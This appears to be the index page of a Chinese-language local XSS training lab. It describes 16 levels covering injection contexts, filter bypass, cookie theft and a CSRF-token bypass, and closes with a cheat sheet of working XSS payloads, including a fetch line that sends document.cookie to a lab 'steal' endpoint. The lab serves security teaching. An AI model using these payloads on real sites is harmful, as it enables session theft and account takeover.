XSS 练习靶场本地学习环境 · 原创中文场景 · 仅供安全研究与教学使用

跨站脚本攻击(XSS)分层练习

共 16 关,知识结构与公开的 XSS 教学体系对应:三类 XSS(反射型、存储型、DOM 型)→ 注入上下文(标签间、标签属性、JS 字符串、模板字面量)→ 过滤绕过 → 实战利用(窃取 Cookie、绕过 CSRF 防护)。每关底部有“上一关 / 下一关”导航。

通关判定:靶场 01-14 以成功调用 alert() 为准(页头出现“已通关”,下一关按钮变绿); 靶场 15 以窃取日志出现 FLAG 为准;靶场 16 以受害者邮箱被改为 hacker@evil.example 为准。进度保存在浏览器 localStorage。

通关进度:0 / 16

关卡列表

第 1 关反射型 已通关

搜索回显中的反射型 XSS

某购物网站的站内搜索会把关键词原样回显到结果页 HTML 中,服务端没有做任何编码处理。

第 2 关存储型 已通关

评论区中的存储型 XSS

某商品页的评论区把评论内容原样存库并渲染到页面,任何访问者都会执行评论里的脚本。

第 3 关DOM 型 已通关

document.write 接收源

页面在解析阶段用 document.write 把 search 参数写进文档流。注意与下一关对比:同一个来源,不同的接收源,执行能力不同。

第 4 关DOM 型 已通关

innerHTML 接收源

页面用前端 JS 读取地址栏里的 search 参数,直接赋给 innerHTML。服务端不参与回显,抓包看不到注入内容。

第 5 关DOM 型 已通关

jQuery 修改 href 属性

支付完成页用 jQuery 把 returnPath 参数写入“返回”链接的 href 属性,未校验协议。

第 6 关DOM 型 已通关

jQuery 选择器 + hashchange

页面监听 hashchange 事件,把 location.hash 直接传给 jQuery 的 $() 去查找元素。当字符串以 < 开头时,jQuery 会按 HTML 解析。

第 7 关反射型 已通关

注入标签属性(引号放行)

搜索框会把关键词回显到 input 的 value 属性中。服务端编码了尖括号(无法引入新标签),但双引号原样保留。

第 8 关反射型 已通关

注入 href 属性(引号被编码)

“返回上一页”链接的 href 由 url 参数生成,服务端编码了尖括号和双引号,因此无法跳出属性或标签,但没有限制协议。

第 9 关反射型 已通关

注入 JS 字符串(尖括号编码)

服务端把搜索词拼进页面内联脚本的字符串常量里,只对尖括号做了 HTML 编码(因此无法闭合 script 标签),单引号未处理。

第 10 关反射型 已通关

JS 字符串(引号/反斜杠编码)

服务端把搜索词放进内联脚本的字符串,并对单引号、反斜杠做了 JS 转义,但没有编码尖括号。

第 11 关存储型 已通关

存储型注入 onclick 事件

评论的“个人主页”字段被拼进内联事件 onclick="openHome('…')" 中。服务端编码了尖括号和双引号,但漏掉了单引号。

第 12 关反射型 已通关

模板字面量上下文

服务端把搜索词放进反引号模板字面量中,引号、反斜杠、反引号、尖括号都被处理,但 $ 与花括号原样保留。

第 13 关DOM 型 已通关

document.write 进 img 属性

页面用 document.write 输出统计像素 img 标签,deviceId 参数被拼进 src 属性,前端未做任何编码。

第 14 关反射型 / 过滤绕过 已通关

黑名单过滤绕过

服务端这次做了过滤:凡是以 < 开头的 script 标签(含大小写变体)都会被删除,其他一概不管。

第 15 关存储型 / 危害利用 已通关

综合:窃取会话 Cookie

论坛评论区无任何过滤(与 02 关相同漏洞),本关研究漏洞的真实危害:把访问者的 Cookie 发送到攻击者的收集接口 /lab/15/steal。

第 16 关存储型 / 危害利用 已通关

综合:XSS 绕过 CSRF 防护

论坛评论区仍无过滤。个人中心的“修改邮箱”功能部署了 CSRF 令牌防线,普通跨站请求无法伪造。但若能在同源页面执行 JS,这道防线便形同虚设。

Payload 速查(与关卡一一对应)

注入上下文参考思路
HTML 正文(无过滤)<script>alert(1)</script>
HTML 正文(script 标签被拉黑)<img src=x onerror=alert(1)> / <svg onload=alert(1)>
innerHTML 接收源script 标签不执行,用 <img src=x onerror=alert(1)>
document.write 接收源<script>alert(1)</script> 可直接执行
标签属性(尖括号编码、引号放行)" autofocus onfocus=alert(1)
href 属性(引号被编码)javascript:alert(1)
JS 字符串(尖括号被编码)'-alert(1)-'
JS 字符串(引号/反斜杠被转义)</script><script>alert(1)</script>
内联事件里的字符串(单引号放行)'-alert(1)-'
模板字面量${alert(1)}
document.write 拼进 img 属性" onerror=alert(1) x="
jQuery $() 接收源<img src=x onerror=alert(1)>(按 HTML 解析)
Cookie 窃取(危害演示)fetch('/xss-lab/steal?c='+encodeURIComponent(document.cookie))
绕过 CSRF 防护(危害演示)同源 fetch 先取令牌再提交表单